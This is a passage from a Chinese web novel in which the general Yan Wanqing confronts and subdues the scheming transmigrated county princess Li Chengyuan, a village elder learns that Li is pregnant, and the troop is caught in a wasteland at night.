她只不过刚被封为县主,刚享受了几日人上人的日子。 如果不是为了时刻呆在萧鸿深的身边,博取一个好印象,让她以后能够当上皇后的话。 她是万万不可能骑着马跨越千里之外,出来行兵打仗的。 现代生活里,她是个名不见传的幼师,早出晚归,拿得少之外,还不是编制之内的,总是被家长们欺负拿捏,三两句话不对就要去园长那边告状。 恶臭的园长每次都不分青红皂白的扣掉她的工资。 后来她被逼无奈上了园长的床之后,这个抠搜的院长依然不愿意给自己钱。 再后来自己被一个女家长发现和她老公的聊天记录不太正常,女家长大冬天将她给推到了河里,一睁眼,她就到了李呈媛的身体里。 定然是上天可怜她前世生活的卑微谨慎,这才给了她穿越过来再世为人的机会。 李呈媛定然是要死死的抓着这个翻身的机会的。 不然为何偏偏让她穿到自己看过的里? 这也坚定了李呈媛觉得自己是天命之女的想法。 所有人的存在都是给她铺路的。 有了这种想法的李呈媛,根本不会把这些纸片人的死活放在眼里。 她的眼里只有皇后之位。 为了这个一人之下万人之上的位置,她会不择手段。 “你倒是说啊,杀一人,与杀千人的区别究竟在哪里?燕晚清你少道德绑架本县主,本县主根本不吃你这一套,留着你这套说辞跟你那些愚笨的将士说去吧!” 李呈媛直接开口骂道。 燕晚清本就不对这个恶毒的女人存在任何的希冀,见她如此不拿人命当回事,冷冷的说道:“既然如此,那就得罪了。” 她抬手直接开始动手了。 李呈媛一直防范着,刚动手,便直接躲闪过去。 “燕晚清你好大的胆子,竟然敢对本县主动手!” 燕晚清勾唇露出一抹微笑,目光里都是不以为意:“早跟你说过少拿权势压人,不长记性。”她抓住李呈媛的一只胳膊,另外一只手毫不留情的给了一巴掌。 这巴掌里面带着些许功力,直接将李呈媛给扇倒在地上。 那天晚上是因为她受了伤,所以才被她稀奇古怪的攻势误伤,可是现在她已经早有防范了。 在绝对强悍的实力面前,任何动作都是小打小闹。 李呈媛显然也意识到燕晚清的强悍,她往后缩了缩,眼里的恶毒实在让人触目惊心。 “你,你别过来!我怀着七皇子的骨肉!”李呈媛叫嚣道。 燕晚清不以为意,她将长剑直接插入了岩壁内,足足一吃多深,可见她的功力深厚。 “少拿萧鸿深来压我,李呈媛。”燕晚清搓了搓手掌,揉了揉刚刚用力导致微微发麻的掌心,舌尖习惯性的抵住了虎牙:“忍你很久了。” “既然你不愿意主动跟着我过去白村长那边认错,那我就打到你愿意跟我去为止!”她轻蔑的扫了一眼李呈媛的肚子:“怀没怀上谁清楚呢,哪怕就是怀上了,谁就能确定是他萧鸿深的种?李三小姐的名声,在京都可半点都算不上好呢。” “别以为得了圣上亲封,就能够飞上枝头当凤凰了,骨子里就卑贱的东西,自始至终都上不了台面!” “你这是污蔑!”李呈媛听着燕晚清的话,都要气疯了:“你知道什么东西,就在这里信口开河胡说八道,分明是记恨本县主能够和七皇子订婚,而你只能和北疆的小侯爷订婚!” “我需要嫉妒你?”燕晚清上下打量着李呈媛,像是听到了可笑的话:“你全身上下有哪里,是值得我嫉妒的?身份?地位?还是脸蛋身材?” “燕晚清!我跟你拼了!”李呈媛感觉到自己被深深的羞辱到了,从地上爬起来,朝着燕晚清冲了过来。 燕晚清抬起一只手直接掐住了她的脖子:“人贵在有自知之明,而不是跟你一样脸皮厚的能去雁门关当墙皮。” 李呈媛双手用力往前伸,尖锐的指甲在燕晚清的衣襟上不停的刺挠。 “你,欺人太甚,燕晚清!”亏她之前还动了要和燕晚清把关系搞好点的想法。 燕晚清不配! 她就该死! “欺人太甚的是你。”燕晚清掐着她的脖子,将她甩在了地上:“你当真以为我不知道你在京都做的那些勾当?先是勾引你姐夫吴城南,再然后去勾搭七皇子,包括那日选妃宴会上打伤了贵女们,这些个事情,你又能瞒得住谁。” 李呈媛低低的笑,她从地上爬起来:“那又如何?都是我做的那又如何?!燕晚清你呢?!你以为自己多清高啊,怕是不知道外面都将你传成什么样子了。” “在七皇子殿下,太子,还有北疆侯三个人之间游走,你以为你的名声又有多好?!说什么女子不能从政,可是你呢?!竟然直接当上了统帅,燕晚清你最是又当又立,不是个东西,明面一套,背面一套,心里脏得很!” “我心知你和李呈祥那个贱人走得近,关系好,这次让你给逮着机会要替她出气了。可以啊,你来啊!”李呈媛张开双手痴狂大笑道:“别以为我李呈媛怕了你!” “只是你可不要忘记了前几日我说的那些话。”李呈媛阴沉的说道:“别以为我实在危言耸听,燕晚清你以为你离开的那一日,京城里有多少双眼睛在盯着你?又有多少个人盼着你死在战场上,永远不要再回来?” 燕晚清看着李呈媛当着自己的面笑出了泪水,看着她单手扶着墙壁,另一只手用指尖擦着眼角的泪水,然后再看向自己继续叫嚣。 “你自己心里都清楚对不对,可是你依然自动请缨去奔赴战场,为什么呢?你就这么着急带着燕家一族覆灭么?” “你父兄刚刚身死归故土,你就这么着急抛弃燕家上战场,究竟是为了什么?” 这是整个京都的人都想要知道的一个答案。 今日被李呈媛在这种情况下问了出来。 燕晚清冷着一张脸,面无表情的盯着她。 为什么? 她不想在沉默中灭亡,只想在困兽之争里面杀出一片自己的天地,哪怕是轰轰烈烈的死,也好过什么都不做的活。 “燕家不会覆灭。”燕晚清一字一句的看着李呈媛说道:“因为我、不、允、许!” 第一百八十四章 争斗继续,谁比谁无赖 “你不允许?你以为你是谁。”李呈媛冷笑道。 “你父亲镇国公尚且阻止不了这一切的发生,你又如何能够阻止。”里的结局都已经成了定数。 这个灿烂一生的女子,会死在一个寒冬枯寂的傍晚,被萧鸿深身边的墨山一箭穿心,然后跌落悬崖。 过程兴许因为自己的到来,改变了不少,但是结局是不会变的。 燕晚清会死。 已成定数。 燕晚清看着李呈媛的双眼,总感觉她似乎知道点什么:“你怎知我阻止不了?” 李呈媛刚想说出自己就是知道,但是看着面前女子的双眼,她及时停住了。 不能忘记,燕晚清的聪明智慧,大渭几乎无人能及。 她不能说漏嘴,然后让燕晚清抓住机会逆天改命。 想到这里李呈媛咽了咽口水:“胳膊拧不过大腿,镇国公的下场也就是你以后的下场,兔死狗烹本来就是历朝历代都会经历的事情,谁都不回例外。” “那你呢?你一心为了七皇子,甚至不惜那天晚上与之公然发动烟花之变,当真以为陛下一丁点都没有看得出来么,你以为你嫁给七皇子就已经是大局已定,可若是七皇子他活不到那个时候呢。”燕晚清也不是吃素的。 她被口口声传为女诸葛,不光是足智多谋,更多的是因为她擅长玩弄人心。 李呈媛被她一番话问下来,很快重心转移到自己的身上。 她突然意识到这次西征根本不在剧情里。 战争无情,倘若七皇子死在了西征里,那么自己还当什么七皇子妃?! 直接就守寡了啊。 李呈媛的面色变换不明。 她开始怀疑自己是否太早下注了。 “你胡说八道什么,什么烟花之变,我什么都不知道。” 李呈媛摇头说道。 燕晚清轻蔑的勾唇:“不知道没有关系,跟你浪费了太多的时间了。”她抬脚朝着李呈媛走过来。 李呈媛赶紧往后躲,她又冲着外面叫嚣:“都是死的不成!我可是圣上亲封的瑶池县主,本县主命令你们进来保护我!” 外面雅雀无声。 早在燕晚清决定动手的时候,外面的将士就很有眼力劲的离开了。 俗话都说得好。 女人打架的时候,要站的远远的。 这一个是安平郡主,一个是瑶池县主。 身份都比他们尊贵。 她们二人之间的战斗还是不要牵连到其他无辜的人比较好。 李呈媛的嘶吼没有起一丁点作用,外面别说连人没进来了,就连一声响都没有。 她面色发白的盯着不断逼近的燕晚清:“你想干什么!我警告你不要乱来,你燕家人会因为你这个举动满门覆灭的!” “我什么举动?”燕晚清嗤笑道:“再说了天高皇帝远,你都能够在本郡主面前胡作非为了,不过是给你几巴掌打你几下,谁又能替你做主?再说了,这也是本郡主权限之内的事情,谁又能管得了呢。” 这些话是之前李呈媛说的。 今日被燕晚清悉数放在了自己身上,她只觉得像是吃了苍蝇一样恶心。 “你当真要为这群贱民做到这种地步?!” “为谁都可以,反正不会为了你去牺牲他们中的任何一人。”不光是村民,还有她的兵,所有人的性命都比面前这个自私狂妄的李呈媛来的重要。 李呈媛还想再做最后的挣扎,她张嘴想说什么,此时燕晚清的手刃已经到了她的脑后。 只一下。 李呈媛便软趴趴的倒了下去,燕晚清伸出手将其接住。 外面的人看见燕晚清背着李呈媛走了出来,纷纷低下了头。 燕晚清一路扛着李呈媛走到了白村长的住处。 路上被不少村民看见,村民们不言一声,跟在后面,最后跟着燕晚清慢慢聚集到了白村长的门口。 “叩叩叩!”燕晚清敲门。 没多久白村长便开门了,他看见燕晚清肩膀上的人知乎,愣了一下,又探出头看了看她身后:“只有你一个人?” “白村长以为有多少人,不都中毒了么。”燕晚清特意吩咐常千户不要让将士们跟过来,这件事情由她来处理是最为妥当的。 李呈媛再怎么嚣张,身份地位也在自己之下。 但是常千户和将士们就不一样了。 一个不慎便会被牵连其中,到时候少不了会关乎到性命。 这是燕晚清来之前便想清楚的事情。 她扛着李呈媛走进了院子里。 此时院子的中央放着一口棺材,里面是哪个女村民宝娟的尸体。 燕晚清放下李呈媛,严肃的看向村长:“介意我给她上柱香吗?” 白村长摇了摇头,将三炷香放在了燕晚清的手里。 燕晚清在蜡烛香点燃,然后将三炷香插进了香炉里,又认真的磕了头,才慢慢起身。 白村长本来以为上柱香已经是极限了,没有想到后面的燕晚清还磕了头,一时之间大为震撼。 “我知道亲人离开世上的痛苦,还请节哀。”燕晚清说道:“害人者,我已经送过来了,任凭村长处置。” 白村长看了看一旁被放在地上昏迷不醒的李呈媛,嘴唇抖动了两下,问道:“统领也失去了亲人吗?” “嗯。”燕晚清点点头:“前不久,父兄在内十四口人。” 白村长大为震惊:“因何?” “战争。”燕晚清轻轻的开口:“村长也看出来了,我等其实是大渭的军队,眼下是要去西面平定战事,本不该惹是生非,但是事情已经发生,眼下也没有别的办法,军事从急,还望村长能够派人尽快将解药给我的将士们,让他们能够快点到前线去……” 白村长看着燕晚清的面容,他咬了咬嘴唇:“你的父亲是燕国忠对么?” 燕晚清愣了一下:“村长怎会知晓。” 要说靠近京都的人知道父亲的名讳是很正常的,但是这个村子距离京都千里之外,路途遥远,等同于是一心只过自己日子的世外桃源。 白村长能知道父亲的名讳,实在让燕晚清有些吃惊。 白村长见燕晚清承认,他表情立刻沉痛起来,双手作揖,就要双膝落地跪拜燕晚清。 燕晚清赶紧伸出手将他拉起来。 “村长这是为何?” 第一百八十五章 怀有身孕,都是命数 白村长当着燕晚清的面老泪纵横。 他被强行拉起来的时候,一直抓着燕晚清的手说:“镇国公,好人呐!” 等到白村长情绪稳定之后,她才从村长的叙述知道,早年间,闹饥荒,白村长一家子饿得都要死了,是父亲的军队路过的时候,给了他们家一口吃的,还允许他们跟在军队后面一起离开,避免后面因为口粮被草莽惦记,从而丢了性命。 “镇国公战无不胜的战神,区区雁门关,对他来说简直是关公面前舞大刀,怎么会轻易丢了性命。”白村长实在想不明白。 燕晚清露出一抹苦笑:“我也不知道。” 战事上面,她的父兄向来是战无不胜的。 可是在人心上面,谁又能说了个绝对呢? 哪怕是她,前世都没有能够看得清楚萧鸿深的嘴脸,最后被他害死跌落悬崖。 更何况对付他们燕家的是高高在上的皇室呢。 父亲应该是明白吧。 退无可退的情况下,选择了这种方式收场。 燕晚清心中沉痛不已。 “没有想到你竟然是镇国公的子嗣。”白村长看着燕晚清说道:“本来还觉得奇怪,怎么会有女统帅,现在知晓了你的身份,小人也是一丁点都不奇怪了。” 燕晚清充满谢意的勾了勾唇。 “来人,去给燕帅的将士们送解药!”白村长大手一挥,从门外走进来几个人,他们听到了这句话都愣了一下。 “村长?” 白村长冷下脸来:“还不快去!这可是镇国公的后代!” 这句话一出来,那几人看向燕晚清的目光都不一样了。 他们赶紧出门去准备解药了。 “这名犯了错的女子是圣上亲封的瑶池县主,她一向性情不定,眼下犯了大错,便交给村长处置了,是祭祀山神还是一命偿一命,都由村长发落。”燕晚清说道。 白村长眼神落在了那李呈媛身上,便只剩下了恨意。 “本来是打算杀了一命抵一命的,但是之前她说自己怀了什么皇子的子嗣。”白村长犹豫道:“那就不能轻易动手了,别到时候因为宝娟牵连了整个村子的人,这也不是俺家宝娟愿意看见的,她最是心地善良了。” “这样吧,先让人过来看看她是否真的怀有身孕。”白村长想了一下这个法子还是最为稳妥的。 倘若是没有怀上,那么对不起,不管这个李呈媛是什么县主还是公主,今日都得一命抵一命。 但倘若是怀上了皇家子嗣,他们只能让李呈媛离开。 皇家向来重视子嗣,要是杀了李呈媛,后面皇室大怒派兵过来,只怕整个村子都会覆灭。 看到白村长的举动,燕晚清心里不由得十分酸涩。 这个宝娟应该是村长的独女吧。 眼下自己的女儿被杀了,却依旧要顾全大局。 何其可悲? 白村长喊着村里懂这件事情的婆婆过来。 年迈的婆婆坐在椅子上给李呈媛把脉。 她摸了很久,又有些不确定的继续摸了半盏茶。 白村长皱着眉头问道:“如何?这要是没怀,现在就要她给俺家宝娟偿命。” 婆婆也显然急了:“这脉象怎么看都是喜脉啊。”她摸了半天就是想看看自己是不是摸错,结果脉象虽然十分微弱,可自己从行几十年,是不会认错的:“是喜脉,她怀上了。” 听到这话的白村长脚步颤颤超后倒退了两步。 “……宝娟啊!俺可怜的闺女啊!” 村长丘壑的脸上遍布泪水,闻者伤心流泪。 燕晚清心里也不是滋味。 谁能想到李呈媛真的怀上了萧鸿深生的子嗣。 她刚刚还动手了…… “麻烦婆婆再帮忙看看,孩子可还稳妥?” 说这话的时候,年迈的婆婆都能感受到燕晚的心虚。 这件事情也不能怪燕晚清。 李呈媛向来是信口开河,估计说自己怀有身孕的时候也是胡诌的。 不然哪个女子能在怀孕的初期就纵马跟在骑兵后面一个多月,这说出去谁信啊。 婆婆眯着眼睛,满是皱纹的手摁在了李呈媛的手腕上。 又过了好久她才点点头:“还在的。” 燕晚清松了一口气。 还好刚刚的打斗没有影响到这个孩子。 不然她心里总是要过意不去的。 “劳烦燕帅将这女子带走吧。”白村长在这个时候开口了:“小人不想看见她。” 燕晚清知道白村长心里不是滋味,直接走到了李呈媛面前,将她拦腰抱了起来。 走的时候,还能听见身后村长的声音。 “这一切都是命数啊——!” 是啊,何尝不是命数? 李呈媛一路颠簸,跟自己打斗都不曾流掉的孩子,是注定要来到这个世上的。 燕晚清突然觉得胸口憋得难受。 正好服了解药恢复正常的常千户循着路走了过来。 燕晚清将李呈媛丢到了他的怀中:“把她带回去,严加看管。” 见常千户就要抱着人直接淋雨回去,燕晚清将自己的伞递给了他:“她怀有身孕,不能淋雨。” 常千户:“????”什么东西?! 说完这句话,燕晚清不顾外面还在飘着的雨水,直接脚尖一点离开了。 常千户抱着李呈媛想要追,又没法追,只能将人先送回去了。 谁曾想半道上这瑶池县主竟然醒了。 她睁开眼睛看见的便是常千户的脸,想都没有想就给了他一巴掌。 常千户被打的心里窝火。 “既然县主醒了,便自己起来打伞回去吧。” 伞外面是噼里啪啦的大雨,地上泥泞不堪,下地一定会弄湿自己的鞋子。 李呈媛见状,抱紧了常千户的脖子:“燕晚清呢?她不是想要拿我去村民那边谢罪么。” “这件事还是等燕帅回来,县主亲自问她吧,小的啥都不知道。” 李呈媛见他回避,冷笑道:“你毒都解了,还说自己不知道,你们都瞧不起本县主是吧,没关系,等七皇子殿下到了你们一个都跑不了。” “县主随意。”如果不是燕晚清那句这个女的怀有身孕。 常千户会直接将她抛进山林里,让她一路螺旋滚下山去。 这种想法他只能在脑子里过过瘾。 “啪!”冷不防又挨了一巴掌,常千户眼里冒火:“县主为何动手?” “你笑的太贱了,打你怎么了!”李呈媛理所当然的说道。 她刚刚在燕晚清那边受得气更多,打她两下属下出出气,怎么了! 一点问题都没有! 第一百八十六章 继续前行,兵分两路 李呈媛被常千户带回去之后,就被直接安置到了之前的山洞里。 外面还多了六个人轮回看守,根本不允许她出去,不管李呈媛再怎么威逼利诱,这六个人在常千户的再三警告下,挡住了李呈媛的攻势。 出不去的李呈媛,气得将山洞里能摔烂的东西都摔烂了。 外面的雨变小了些。 常千户站在山神庙的外面看着蜿蜒下去的山路,始终没有看到燕晚清的身影。 刚要出去找,就看见燕晚清顺着山路慢悠悠的往山上走。 发丝被雨水已经打湿,但是她就像是毫无知觉一样漫步在丛林间,清丽空灵的像是山里的精灵。 走近之后,常千户发现燕晚清身上的衣服多处都已经破损,肩膀上还有松树叶子。 “燕帅。”常千户将伞撑到了燕晚清的脑袋上。 燕晚清推开:“不用,回去内力一烘就干了。” 说完她与常千户擦肩而过。 刚刚她实在没有能够忍住情绪的上涌,所以到了无人之地发泄去了,现在暴躁的心情被平复。 “雨小了,可以派探子出去了。”燕晚清突然想到说道。 常千户点头:“已经派出去了,一队向前一队向后。” 燕晚清点点头,看着常千户没有丝毫吝啬的夸赞道:“干得不错。” 常千户面上闪过一丝微红,他不好意思的挠了挠头:“这些都是属下应该做的。” “李呈媛醒了么?”她又问。 常千户如实回答:“回去的路上就醒了,回去之后发了好大一通脾气呢。” “没有为难你吧?” 常千户想到了路上被李呈媛赏赐的几巴掌,心里到现在还有些不舒服,他很想和燕晚清说,但是也不想给她添麻烦,于是摇了摇头:“没有。” “本帅去看看她,你先去修整一下队伍吧,晚上估计雨就停了,明日一早天亮便出发,兵分两路,你带着一队先行,本帅紧跟其后。” 常千户蹙眉:“是因为瑶池县主……” “嗯,没有办法的事情。”事发突然,并非人能够算计到的。 交代完事情,燕晚清便朝着李呈媛那边过去了。 她身上怀有身孕这件事还是要告知一下李呈媛的,免得她继续作死,到时候孩子没了赖在她和军队的身上。 等到的时候,里面还能依稀听见李呈媛的谩骂声。 燕晚清倒了一杯水走了进去,缓缓的放在了桌子上。 “燕晚清你还敢出现!你不是要本县主祭祀山神么?!怎么现在又让人送回来了?!”李呈媛看到燕晚清的瞬间,情绪再次爆发出来。 见燕晚清不吭声,李呈媛继续冷笑道:“还是你害怕了。” “害怕?”燕晚清咀嚼着这两个字,兀自嗤笑一声,嘴里吐出一个音节气音:“也许吧。” 大概她真的是害怕了。 她将水杯往前推了推:“骂了这么久,渴了吧。” “猫哭耗子假慈悲,你过来干什么的,本县主昏过去的这段时间发生了什么事情。”李呈媛警惕的说道。 燕晚清此时已经坐了下来:“把水喝了,就跟你说。” “你不会是在水里下毒了吧。”李呈媛骂了这么久,一口水没喝,眼下看见了水,情不自禁的舔了舔唇角,嗓子此刻确实沙哑了。 燕晚清目光从她的脸上往下移,最后慢慢的落在了她平坦看不出来丝毫的小腹上,目光悠长。 “你看什么?”李呈媛不自在的抱着水杯坐下来。 石桌挡住了燕晚清的视线。 燕晚清看着她说道:“若是想害你,刚刚直接杀了便是,犯不着现在给你下毒,浪费时间。” 这话在理。 李呈媛听完仰头将水杯里的水一饮而尽,她将杯子放在了桌子上。 “说罢,什么事情得劳驾我们大名鼎鼎的燕帅亲自过来。”喝完水,李呈媛阴阳道。 典型的放下碗骂娘的人。 燕晚清不跟她计较。 “七皇子的队伍就在后面,大概两日的路程,接下来本帅亲自护送你。”燕晚清在李呈媛疑惑又警惕的目光中继续说道:“你怀孕了。” “什么?!”李呈媛猛地从椅子上站了起来。 她低头看着自己平坦的小腹,不敢相信燕晚清的话:“不可能!” “怎么不可能?”燕晚清翻了白眼:“你不是说自己怀上了七皇子的子嗣么,现在装什么惊讶,事情已经跟你交代清楚了,明日天一亮就启程,你早点休息。” 过会儿她还得去找一下白村长,安置一辆马车。 燕晚清起身要离开。 身后的李呈媛一把拽住她的袖子,燕晚清反射性扯走衣袖。 “你听谁说的?” 李呈媛执拗的问道。 燕晚清见状,心里当下了然:“原来之前你说自己怀有身孕的确是骗人的。” 看着李呈媛明显不自在的脸色,燕晚清好心的补充道:“是村里负责生产的婆婆说的,一定不会错的,所以你这段时间得收敛一下脾性,万一影响到了腹中胎儿,到时候七皇子是会向你问责的。” “你!”李呈媛气急败坏的看着燕晚清的背影。 这个死女人,真是不会说话。 她走回来坐在了椅子上。 心里十分忐忑和陌生。 她根本没有做好怀孕的准备。 前世因为自己乱搞,所以流过几次,后来就直接不孕了。 眼下她竟然又怀上了。 只是不知道这个孩子多大。 到底是七皇子殿下的还是那个吴城南的。 她心里有些拿不准。 李呈媛心里知道七皇子萧鸿深一直都介怀自己不是第一次这件事情。 可是保留着第一次,她拿什么去拿捏吴城南,帮助自己去接触七皇子呢? 这本就是不能够两全的事情。 眼下燕晚清的意思是不会把自己送回去了,那么只能是一直往前走。 再往前便到了最西边的城池,也是最靠近倭寇的城镇——西凉。 只能到那里再找个婆子问问了。 李呈媛完全没有做好当母亲的准备。 眼下这个胎儿的到来,打乱了她所有的计划。 怀着孕她还怎么去立战功啊?! 李呈媛越想越觉得腹中孩子有些累赘。 第一百八十七章 为了避嫌,心里都有数 次日清晨,李呈媛被人喊了起来。 想了一夜生产的可怕,她几乎一夜没睡。 好不容易凌晨的时候睡着了,天亮了。 “再睡一会儿。”李呈媛冲着外面吼道。 士兵们压根不敢进来,只能派人去禀报燕晚清。 燕晚清听罢之后,抄起长剑就去了李呈媛的山洞。 到了门口她也没有急着要进去,而是站在门口大声说道:“见过七皇子殿下!” 山洞里面的李呈媛本就睡得不踏实,梦里的萧鸿深形同恶鬼一样,要拿刀生生剖开自己的肚子,吓得她抱着肚子一路狂奔。 这个时候一声七皇子在耳边炸开,李呈媛当下睁开了眼睛。 眼里的恐惧还没有消散:“七皇子殿下来了?在哪?!” 等到燕晚清似笑非笑的抱着长剑靠在洞门口,李呈媛才反应迟钝的意识到自己是被骗了。 她冷下脸:“你有意思么!” “没意思,但是挺有效果的。”燕晚清懒得折腾自己,这种法子最简单最省时省力,关键是对于李呈媛管用就行。 李呈媛没了睡意,心中憋着一股子怒火。 可是她也不敢随便对着燕晚清撒气,经过昨天的对抗,她深知燕晚清这个女人本质里面极其疯癫,轻易不能惹怒。 更何况现在自己孤立无援,还是个不知道月龄的小孕妇。 识时务者为俊杰。 这么句话她先送给了自己。 李呈媛憋着一口气从山神庙里走出来,此时外面已经放着一辆简陋的马车。 原本还想要抱怨燕晚清让自己骑马的李呈媛,彻底闭嘴了。 马车很大程度上比马好,不是么? 她一言不发的上了马车,里面还算干净。 此时外面雨水已经停了,道路依旧泥泞,好在下山都是石路,也比较平坦,所以能够牵着马车下去,不然李呈媛就得步行下去。 坐在车上的她一路颠簸,摇摇晃晃,很快便趴在边缘上睡着了。 这路上没有了她的百般刁难,燕晚清等人跟随着马车的速度摇摇晃晃的向前赶路,日子反而过得舒服了点。 等到下午的时候,李呈媛才睡醒了。 睡得浑身酸麻的她,揉了揉有些落枕的脖子,掀开了车帘。 外面是一眼看不到尽头的荒原。 一阵风过来,甚至还能看见被卷起来的黄沙。 李呈媛赶紧将车帘放了下来。 此时外面传来脚步声。 “喝水。”外面传来燕晚清的声音。 李呈媛掀开车帘,一个小包裹还有个水壶递了进来。 无事献殷勤,非奸即盗! 她刚打算冷嘲热讽,说自己不需要。 就看见那燕晚清直接将东西丢在了马车上,自己头也不回的走了。 李呈媛:“……”真来气! 哼!等七皇子殿下来了,她一定要让燕晚清吃不了兜着走! 眼下已经过了一日的车程,还有一日。 再有一日,七皇子殿下就到了。 李呈媛努力逼着自己勾唇洋溢出一抹微笑。 再熬一熬,苦日子就要到头了。 那边燕晚清看着一望无际了无人烟的荒原,马车的速度严重影响了他们的行程。 “燕帅,如果夜色降临,不能到达前面的村庄,那么只能原地住在荒原之上,夜晚十分的荒原是极其危险的。”旁边的将士说道。 燕晚清有过在荒原之上行兵打仗的经验,对此十分清楚。 她点了点头说道:“那接下来只能让马儿吃些苦了,加快速度往前面的村庄进发。” 将士有些迟疑:“我们倒是可以,但是速度快起来,马车就会十分颠簸,就怕车内的人受不了。” 燕晚清微微蹙眉:“这件事情我同她讲,你先吩咐下去,接下来的路程,全速前进。” 马车上吃饱喝足的李呈媛,安逸的打了个嗝。 先前她对吃的倒是十分讲究,可是经过一个多月的马背上的生活,眼下她也没有那么挑剔了。 见到燕晚清去而复返,李呈媛没好气地掀开车帘说道。 “又怎么了?你这个没有礼貌的女人。” 李呈媛的攻击在她的眼中,犹如孩童般的小打小闹,在她的心中掀不起一点涟漪。 燕晚清将刚才商议的结果告知李呈媛。 李呈媛看了看外面,此时太阳还在脑袋上,距离日落还有好几个时辰,而且据她所知,越往西边走,日落的时间越长。 她可太喜欢荒漠之上看落日的感觉了。 “没必要这样大惊小怪吧,荒原之上能有什么危险?这里又不是森林,我还想让你们走慢一点,让本县主好好的欣赏落日呢。” 燕晚清觉得自己跟她没有话讲,等同于鸡同鸭讲。 你跟她说落日之后荒原上很危险,她跟你说落日的时分夕阳很美晚霞很好看。 “本帅只是通知你,待会儿全队都会全是前进,马车肯定是不能坐了,你是选择自己骑匹马还是跟本帅同一匹马?”燕晚清强行耐着性子说道。 “为什么要跟你同一匹马,两个女人骑一匹马不觉得很奇怪吗?” “那随你。”燕晚清说完自己想说的话,便直接离开了。 此时队伍已经准备好,就等着出发。 李呈媛从马车上下来,看了又看,选了又选,最后选了一个身材壮硕长相清秀的将士。 “就你了。”芊芊玉指指着那个将士,李呈媛十分满意地说道。 将士却根本不如她想象中的那般兴奋与激动,反而有一种惴惴不安的姿态。 这是什么意思?搞什么啊? 她可是京都第一才女,被无数一年才俊追捧的瑶池县主,怎么到了这里,频频受挫。 难道军营里面的男人就不是男人了吗? 还是现在的她不美了,失去了魅力? 李呈媛忍不住胡思乱想起来。 那边的燕晚清见她一动不动地站在原地,皱着眉头,驱使着马儿走过去。 “你到底想干嘛?走还是不走?” 李呈媛抿着红唇,看了看她身后的将士,最终还是一脸暴躁的将手伸向了面前的燕晚清。 “走吧。” 燕晚清看着伸向自己的手,虎牙抵着舌尖,咬的生疼。 李呈媛见她迟迟不拉自己,有些来气:“你不要摆出这副鬼样子,本县主也不想跟你坐在一匹马上好吗?都是为了避嫌,咱们俩心里都有数。” 燕晚清没忍住,直接对她翻了个白眼。 所以李呈媛已经忘记自己刚刚一脸娇羞的在这边点兵点将了么? 第一百八十八章 荒原之上,午夜惊魂 好不容易让这位讨人嫌的瑶池县主上了马,本以为能够加快行程,显然燕晚清把事情想的太简单了。 一路上,李呈媛不是说风沙吹到了眼睛,就是速度太快颠簸的她恶心想吐,反正五花八门,一直拖慢行程,等到日落西斜,残阳如血的时候,也不过行驶了一半的路程。 这样下去是肯定到不了的。 眼下她的身边不过只是个三十人的小队。 倘若遇到什么大型猛兽,只怕到时候脱身困难,尤其是还有个李呈媛这个拖油瓶。 周围的将士们此刻对于李呈媛心里充满了怨气,可是偏偏这个女人根本不知道。 她沉迷于荒漠落日的美感里面。 “大漠孤烟直,长河落日圆。”李呈媛突然喃喃说道。 燕晚清听完愣了一下。 虽然刚刚风很大,但是她还是听见了。 “燕晚清你觉得刚刚本县主的这两句诗怎么样?是不是很有意境?”李呈媛张开双臂,做拥抱落日的模样:“只有本县主才能做出这样有意境的诗句。” 燕晚清意外的接了她的话茬:“只有这两句么?” 李呈媛一时之间想不起来后面是什么,她干咳一声:“两句就够了,你不知道作诗很费脑子的吗!” 燕晚清心中冷笑一声。 拿别人的诗作当做是自己的原创诗,还费脑子? 费脑子去回忆后面的诗句吧。 这首诗之前六妹燕凌珍就当着她的面念过,因为很有意境,所以燕晚清记得很清楚,当时问过六妹作者。 六妹说是个世外高人,所以她当时便歇了要去拜访的心思。 眼下这个李呈媛竟然无耻到将别人的诗作当成了自己的。 难道高人隐世不出山,便能这般欺辱? 那么之前她的那首君不见黄河之水天上来,也极大可能是偷的。 当时的那股子怪异感,终于有了答案。 一个小偷,却被皇室当成了个宝,甚至还得了县主的封地和赏赐。 这若是传出去,李呈媛有几条命也不够砍头的。 太阳终于消失在了地平线,荒原陷入了黑色的寂静当中。 此时的李呈媛终于开始有点害怕起来。 荒漠之上伸手不见五指,他们骑着马也没有办法举起火把,因为风很大,很快便会熄灭。 “燕帅,距离最近的村庄还有两里路,只是现在我们失去了方向。”将士们将这个消息传给了燕晚清。 荒漠之中失去了方向,还是夜晚。 这个消息很致命。 而将他们陷入到这种致命境地的是眼前这个被封为瑶池县主的女子。 将士们心中的怒气开始蹭蹭往上涨。 倘若不是燕晚清在这里镇压,他们早就开始骂那个瑶池县主了。 燕晚清环顾四周,风沙变大了,周围除了风声,其他什么声音都没有。 “不走了,都停下来。”燕晚清吩咐道:“所有人都用绳子绑住,防止丢失,丢了就找不回来了。” 众人都十分明白燕晚清的意思,这回李呈媛因为实在是恐惧,所以也顺着她的意思,用绳子将自己和燕晚清绑在了一起。 虽然这个女人很讨厌,但不得不说和她待在一起,李呈媛能够感觉到安全。 这种安心的感觉,目前为止,只有燕晚清一个人能够给到她。 将绳子全部绑起来之后,燕晚清决定还是带着众人去前面探探路。 “只有两里地,碰碰语气,真要是在荒原上待上一晚,还是够呛的。”她没有把话说明白,但是大家都心知肚明。 这要是一晚上过去,三十个人还能不能活下来三个都说不准。 燕晚清走在最前面,她翻身上马,众人都以极其慢的速度往前挪动。 今日星空都已经看不见了。 众人在沙漠之中,仓皇失措,又走了一个时辰还是没有到。 燕晚清心中了然,要是方向对肯定是可以找到的,但是眼下应该是走错方向的。 她心里有些自责。 “啊——!”突然李呈媛尖叫一声,燕晚清立刻看过去:“怎么了!” “有狼!”李呈媛指着远处一双绿色的眼睛说道。 说这话的时候她浑身都在发抖。 那是一批孤狼。 看起来极为清瘦,双眼恶毒的打量的他们这支小队。 李呈媛看过动物世界,知道这是狼群派出来的侦察兵。 于是她立刻拉着燕晚清说道:“去杀了它!狼群从来不单独行动,不能让这匹狼回去通风报信!” “不要轻举妄动!”燕晚清总觉得事情没有这么简单。 这匹狼独自出现在这里,只是远远的盯着他们,并没有做出任何吼叫的动作,兴许它也在忌惮他们。 李呈媛见燕晚清不动,心里急得要死。 “你怎么就不听我的!” 燕晚清没吭声,双眸与那孤狼对视,彼此都在打量。 此时她完全没有注意到,心急如焚的李呈媛已经拔了身边将士的佩剑,直接朝着那匹孤狼投掷过去,长剑在空中划过一道微暗的白光,瞬间没入了孤狼的身体。 燕晚清只看见那孤狼倒在了地上,心中的不安加强。 “死了。”李呈媛心里刚松了一口气。 